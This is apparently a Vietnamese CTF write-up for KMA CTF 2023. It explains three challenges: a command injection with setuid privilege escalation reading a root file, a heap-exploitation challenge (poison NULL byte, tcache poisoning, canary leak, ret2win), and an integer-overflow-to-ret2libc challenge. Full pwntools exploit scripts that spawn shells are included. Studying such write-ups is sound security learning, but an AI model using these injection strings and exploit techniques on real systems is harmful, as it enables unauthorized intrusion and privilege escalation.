(writeup) KMA CTF 2023
Welcome to KCSC

- file cho bạn nào muốn test local:
run.py

- thông qua ida, sẽ lấy 2 arg 1 và 2 sau đó đến hàm system() thực hiện nội dung biến s
===> cmd injection
- biến s được copy bằng hàm sprintf() với nội dung
echo \"%s\\n%s\ > data/advice"
- ta bypass bằng:
- arg1 : 'a" ; ls ;'
- arg2 : ' " '

echo "a" ; ls ; "n"
- bài này sẽ giống dạng leo thang đặc quyền, ta cần từ quyền user lên root
- ta sẽ check các tệp tin Linux với quyền thực thi setuid (set user ID)
với quyền setuid cho phép người dùng chạy tập tin đó với quyền của chủ sở hữu (root) của tập tin, thay vì quyền của người dùng có chạy tập tin đó.
- ta sẽ tìm trong thư mục '/' :
find /
- kiểm tra quyền :
-perm -u=s
- tìm kiếm tệp tin thường (regular files):
-type f
- ẩn thông báo lỗi và chuyển sang chỉ tìm kiếm:
2>/dev/null

file '/usr/bin/as' đáng ngờ

- arg1:
a"; LFILE=/root/root.txt ; as @$LFILE
- arg2:
"

KMACTF{w3b_pwn_1s_sup3rdup3r_34sy_cae767b694e19fba60412585575bacff}
Not a Note



main()

menu()

create_note()
malloc size1 cho title
malloc size2 cho content
cuối title (prev_size) sẽ set địa chỉ của content

edit_note()
chọn lựa 2 option edit title hoặc content

edit_title()
xoá title rồi ghi đè cái mới

edit_content()
xoá content rồi free sau đó malloc ghi cái mới

view_note()
show thông tin title và content

delete_note()
xoá title lẫn content rồi mới free

read_function()
đây là hàm ẩn nhằm lấy shell
analyse
- 1 note được tạo ra bằng 2 chunks
- ngoài ra không có lỗi DBF hay UAF do nó xoá con trỏ cả trước khi free
không thể trigger bình thường
NHƯNG liệu ta có thể thay đổi điều đó?
- trước mắt ta sẽ bật tham số NOASLR
- trong hàm edit_title, bug nằm ở hàm strcpy


memset() cho biến s có size 1032 thành NULL
strcpy 1 phần –-> cuối payload có NULL
–-> Poison NULL byte
leak heap
- đầu tiên ta hoàn toàn có thể leak được heap base nhờ vào tạo 1 note (idx0) có size A, edit content size B (với B > A) và ghi đè full byte để nối chuỗi với ptr heap
do ptr của content hiện tại byte cuối là 0x00
leak libc
- nếu ptr content thay vì là địa chỉ heap, ta sẽ chỉnh thành địa chỉ của libc
- đầu tiên ta sẽ fill up tcache để lần add_note() tiếp theo và delete_note() nó sẽ chui vào ubin
free content trước mới free title
tức chunk ab80 sẽ nằm trong ubin (ab90 trừ metadata)
- ta phải tận dụng BUG poison NULL byte tấn công vào chunk victim có đuôi 00
- thấy có freed chunk a300 từ lúc ta leak heap
- add_note() với size 0x50 (idx1) sẽ reused lại chunk a300 và ab90
- sau đó edit_title() cho chunk idx0 và poison NULL byte
- lúc này ta tiếp tục edit_content() cho chunk 1 (free ab90 và malloc 1 size khác)
mục đích tăng count trong tcache

malloc size 0x100
- giả sử ta delete_note() chunk 0 thì sao ?
free a300 trước rồi free a2a0
nhưng chunk a300 lại là title của idx1 (nhưng ta lại đâu có xoá idx1 ???)
vậy ta có thể UAF ở đây rồi
- mục tiêu khi ta UAF là tạo fake chunk
- ta có thể sửa title (idx1) từ chunk a300 và nhắm đến chunk victim có thể tấn công là a350

- ta cần tạo 1 dslk các bin trong tcache

hiện tại lúc này a300 đang trỏ vào payload
ta cần trỏ vào fake chunk tiếp theo
- nhưng từ libc 2.31 trở lên có cơ chế bảo vệ tcache, xem thêm…

ở chunk aa60 có dữ liệu bảo vệ
trong tcache bin, chunk tiếp theo aa60 là a6d0
thì dữ liệu được tính là (aa60 >> 12)^a6d0
- thế để
fw_pointer
của a300 là a350 thì payload như sau
- nhưng điều còn vướng bận là sử dụng hàm edit_title() sẽ còn strcpy (NULL byte ở cuối)
- do dữ liệu bảo vệ có 6 byte
p64() sẽ dư 2 byte '\0' sẽ bị lỗi đọc read_str
gửi đúng 6 byte thì byte 7 NULL, byte 8 còn dính payload cũ là 'a'
- vậy ta sẽ edit 2 lần, lần 1 7 byte (byte 8 là NULL)
- lần 2 là 6 byte (byte 7 là NULL)
- vì xor trong NOASLR sẽ bị lỗi nên lần này bỏ NOASLR luôn
- lúc này trong bin có đến 3 chunk

- vậy ta cần add_note() size 0x50 (idx2) để moi 2 cái ra
- lần add_note() tiếp theo sẽ gán fake_chunk ở a350
- nhưng sẽ là chunk nào?
- khi ta chọn view_note(), sẽ lấy idx1 vì node của nó content hiện tại là fake_chunk(ubin)



leak stack -> exe -> canary
leaking stack
- về cách leak stack, ta sẽ sử dụng
__environ
có trong libc
- và dùng edit_title() cho idx3



leaking exe
- có được stack, ta trỏ content về stack, stack trỏ đến exe


leaking canary
- tương tự như leak exe, nhưng vì do canary luôn có byte cuối là "\x00" nên địa chỉ trỏ về dịch lên 1 byte


ret2win
- đề bài có sẵn cho ta hàm ẩn để lấy shell
- ngại gì ta không dùng =))))
- phân tích xíu

lấy size chunk title làm lượng size có thể read_str
- vậy nếu ta chỉnh size của a350 (idx3) có size cực lớn thì sao?
===> Buffer Overflow
- edit_title(1) để resize a350 (idx3)
- ta sẽ return $rip khi thoát khỏi hàm edit_title()

payload = b'a'* 0x408 + canary + b'a'*8 + win
get flag

from pwn import *
exe = ELF('./notanote_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+54
b*create_note+183
b*create_note+315
b*create_note+360
b*create_note+684
b*create_note+709
b*delete_note+74
b*delete_note+198
b*delete_note+236
b*edit_title+156
b*edit_content+101
b*edit_content+293
b*edit_content+455
b*edit_content+480
b*main+309
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('103.162.14.116',1001)
else:
p = process(exe.path)
def add(idx,size1,title,size2,content):
sla(b'> ',b'1')
sla(b'Index: ',str(idx))
sla(b"size: ",str(size1))
sla(b'Title: ',title)
sla(b"size: ",str(size2))
sla(b'Content: ',content)
def title_edit(idx,data):
sla(b'> ',b'2')
sla(b'Index: ',str(idx))
sla(b'> ',b'1')
sla(b'title: ',data)
sla(b'> ',b'3')
def content_edit(idx,size,content):
sla(b'> ',b'2')
sla(b'Index: ',str(idx))
sla(b'> ',b'2')
sla(b'size: ',str(size))
sla(b'Content: ',content)
sla(b'> ',b'3')
def show(idx):
sla(b'> ',b'3')
sla(b'Index: ',str(idx))
def delete(idx):
sla(b'> ',b'4')
sla(b'Index: ',str(idx))
add(0,0x50,b'A'*0x50,0x50,b'a'*0x50)
content_edit(0,0x100,b'b'*160)
show(0)
p.recvuntil(b'A'*0x50)
heap_leak = u64(p.recv(6)+b'\0\0')
heap_base = heap_leak - 0x360
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))
size = 0x120
add(1,size,b"aaaa",size,b"bbbb")
add(2,size,b"cccc",size,b"dddd")
add(3,size,b"hlaan",size,b"hlaan")
add(4,size,b"a",size,b"a")
delete(1)
delete(2)
delete(3)
delete(4)
add(1,0x50,b'aaaa',0x50,b'bbbb')
title_edit(0,b'a'*0x50)
content_edit(1,0x100,b'AAAA')
delete(0)
payload = b'A'*0x48 + p64(0x61)
title_edit(1,payload)
GDB()
need = heap_base+0x350
ptr = heap_base+0x300
payload = (ptr >> 12) ^ need
title_edit(1,p64(payload)[0:6]+b'a')
title_edit(1,p64(payload)[0:6])
add(2,0x50,b'cccc',0x50,b'dddd')
payload = p64(heap_base+0xc60+0x10)
add(3,0x50,payload,0x70,b'aabb')
show(1)
p.recvuntil(b'Content: ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x1f6ce0
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
environ = libc.sym['environ']
title_edit(3,p64(environ)[0:6])
show(1)
p.recvuntil(b'Content: ')
stack_leak = u64(p.recv(6)+b'\0\0')
info("stack leak: " + hex(stack_leak))
leak_main = stack_leak-0x110
title_edit(3,p64(leak_main)[0:6])
show(1)
p.recvuntil(b'Content: ')
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - exe.sym['main']
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))
system = exe.sym['read_function']
info("get shell: " + hex(system))
GDB()
leak_canary = stack_leak-0x12f
title_edit(3,p64(leak_canary)[0:6])
show(1)
p.recvuntil(b'Content: ')
canary = u64(b'\0' + p.recv(7))
info("canary: " + hex(canary))
payload = b'a'*0x48 + p64(0xffff)
title_edit(1,payload)
payload = b'b'*0x408 + p64(canary) + b'a'*8 + p64(system+5)
sla(b'> ',b'2')
sla(b'Index: ',str(3))
sla(b'> ',b'1')
sla(b'title: ',payload)
p.interactive()
Password Manager



main()

menu()
nếu đã encrypted thì in "Decrypt", ngược lại in "Encrypt"

add_cred()
tạo tối đa 4 note
size tối đa là 256 (0x100)
key = ¬e - 0x20
note_size = ¬e - 0x10
nếu đã encrypted thì tiếp tục encrypt

edit_cred()
in data cũ và nhập data mới (vào stack) tối đa 0x100
đồng thời lựa chọn "y/n" để đưa từ stack vào ¬e
nếu đã encrypted thì decrypt

delete_cred()
nếu đã encrypted thì decrypt và in ra data
không thì encrypt nó
rồi "y/n" xác nhận xoá hay không

lock_n_lock()
là bước mã hoá data
analyse
- mỗi idx ¬e lưu trữ data cách nhau 256 byte
- ta thấy ở biến note_size có BUG:

khai báo là mảng kích cỡ 4 byte

nhưng scanf lại có format là %lu
===> Interger Overflow
- chức năng "lưu note" nó sẽ lưu từ stack vào ¬e


memcpy stack s vào ¬e với size là lúc khai báo
==> khai báo size lớn nhưng payload ngắn
===> leak được exe, canary…
- có đoạn check encrypted, thực hiện encrypt data sẽ xor với key


- cũng trong hàm lock_n_lock(), phần else lại không có check_canary() -> tận dụng lỗi IOF để trigger BOF –-> ret2libc

leak canary
- đầu tiên ta tạo full cred giả để fill đầy note_size

tạo 4 size 0x100
- sau đó xoá idx0 rồi tạo lại ghi đè fake size cho idx1 (0x300)
- chọn edit_cred() cho idx1 để memcpy từ stack lên ¬e (copy tận 0x300 bytes)
- tiếp theo edit_cred() cho idx2 và ghi vừa đủ
- có memset cho s thành NULL, memcpy từ s trên stack lượng size là size mình khai báo, edit_cred() chỉ ghi tối đa 0x100 nên có lẽ lúc tạo note ta cần căn chỉnh lại size

thấy dữ liệu khá giống canary nhưng offset tận 0x118

idx2 memcpy từ 3280 <note+512>
ta thấy 1 địa chỉ ở 3298 khá giống canary
ta cần ow 0x18+1 byte để nối chuỗi canary
- vậy ta sửa lại khi add_cred() cho idx2 ta chỉnh size thành 0x19

leak libc
- tương tự như leak canary
- ow lượng vừa đủ để nối chuỗi

- ta delete_cred() idx2 rồi tạo cái mới, edit_cred() nối chuỗi

offset 0x88 -> add_cred() size 0x88 và edit_cred() padding 0x88

leak key (just 4 fun)

- key là random mỗi khi run chương trình (8 bytes)
- cách thức xor là lấy lần lượt mỗi byte trong key xor với mỗi byte trong ¬e(idx) lưu trong biến s trên stack
- cuối cùng copy lại vào ¬e(idx)
- vòng lặp đi đến hết size của idx note đó
- NẾU dữ liệu là NULL và size nhỏ lại thì sao?
key ^ 0 = key
- lúc này biến encrypted là bật (=1)
- nếu ta in data lần nữa sẽ khiến decrypt key của mình

key ^ key = 0
lúc này xoắn não nek =)))))))
đọc kỹ nhaaa
- delete_cred(0) và add_cred(0) size là 0x10 => 0x10 : NULL NULL
- ta encrypt nó => 0x10 : key key

qua hàm delete_cred() có thêm 1 lần decrypt

NULL NULL
- rồi add_cred(0) size là 0x8 => NULL NULL
qua hàm add_cred() tiếp tục encrypt

key key
- rồi tiếp tục edit_cred(1) là 0x8 => 0x10 : 'aaaaaaaa' key
lúc này qua hàm edit_cred tiếp tục decrypt
nhưng ở idx 1 hiện tại là key key
decrypt xong thành NULL NULL
rồi mới đưa payload vào
'aaaaaaaa' key
hàm edit_cred() đặc biệt 1 xíu là nếu encrypted = 1 sẽ decrypt->payload->encrypt
tiếp tục encrypt
'abcxyz' NULL (abcxyz là do 'a'*8 xor với key)
- rồi edit_cred(1) tiếp theo (mục đích để leak)
decrypt => 0x10 : 'aaaaaaaa' key ('a'*8 là do 'abcxyz' xor với key)


nhận dư byte '\n' (do key ở lần DEBUG này có 7 bytes)
ret2libc
- vì ta hoàn toàn có thể fake size 1 cred nên dựa vào return của hàm lock_n_lock() mà ret2libc
- ta phải set size mới sao cho dư cả lần decrypt hay encrypt phía sau
- ta nhắm vào idx2, nên delete_cred(0) và delete_cred(1) sau đó add_cred(0) resize lại
- khi đó nó sẽ decrypt hay encrypt gì đó 1 nùi byte encrypt từ idx1 và tiếp tục với size mình ghi lố
đừng lo nó mã hoá payload của mình vì data mã hoá đó vào ¬e
còn payload của mình vẫn trên stack
- để nhảy vào bước else của hàm if ta phải edit_cred() 1 cred không tồn tại

get flag

from pwn import *
context.binary = exe = ELF('./passwordmanager_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*add_cred+307
b*add_cred+379
b*lock_n_lock+300
b*lock_n_lock+618
b*edit_cred+221
b*edit_cred+221
b*edit_cred+422
b*edit_cred+422
b*delete_cred+199
b*delete_cred+307
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
def add(idx,size,data):
sla(b'> ',b'1')
sla(b'Index: ',str(idx))
sla(b"Size: ",str(size))
sa(b'Data: ',data)
def edit(idx,data):
sla(b'> ',b'2')
sla(b'Index: ',str(idx))
sa(b'data: ',data)
sla(b'[y/n]: ',b'y')
def delete(idx):
sla(b'> ',b'3')
sla(b'Index: ',str(idx))
sla(b'[y/n]: ',b'y')
def encrypt():
sla(b'> ',b'4')
add(0,0x100,b'aaaa')
add(1,0x100,b'bbbb')
add(2,0x19,b'cccc')
add(3,0x100,b'dddd')
delete(0)
add(0,0x0000030000000100,b'aabb')
edit(1,b'hlaan')
edit(2,b'a'*0x19)
sla(b'> ',b'2')
sla(b'Index: ',str(2))
p.recvuntil(b'a'*0x19)
canary = u64(b'\0' + p.recv(7))
info("canary leak: " + hex(canary))
sa(b'data: ',b'a')
sla(b'[y/n]: ',b'n')
delete(2)
add(2,0x88,b'abcd')
edit(2,b'a'*0x88)
sla(b'> ',b'2')
sla(b'Index: ',str(2))
p.recvuntil(b'a'*0x88)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x29d90
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sa(b'data: ',b'a')
sla(b'[y/n]: ',b'n')
delete(0)
add(0, 0x0000001000000100, b'\0')
encrypt()
delete(0)
add(0, 0x0000000800000100, b'\0')
edit(1,b'a'*8)
sla(b'> ',b'2')
sla(b'Index: ',str(1))
p.recvuntil(b'a'*8)
key = u64(p.recv(8))
info("key: " + hex(key))
sa(b'data: ',b'a')
sla(b'[y/n]: ',b'n')
delete(0)
delete(1)
pop_rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6
payload = flat(
0,
canary,
0,
pop_rdi, next(libc.search(b"/bin/sh\0")),
ret,
libc.sym['system'],
)
edit(2, payload)
add(0, 0x0000014000000100, b'\0')
sla(b'> ',b'2')
sla(b'Index: ',str(1))
p.interactive()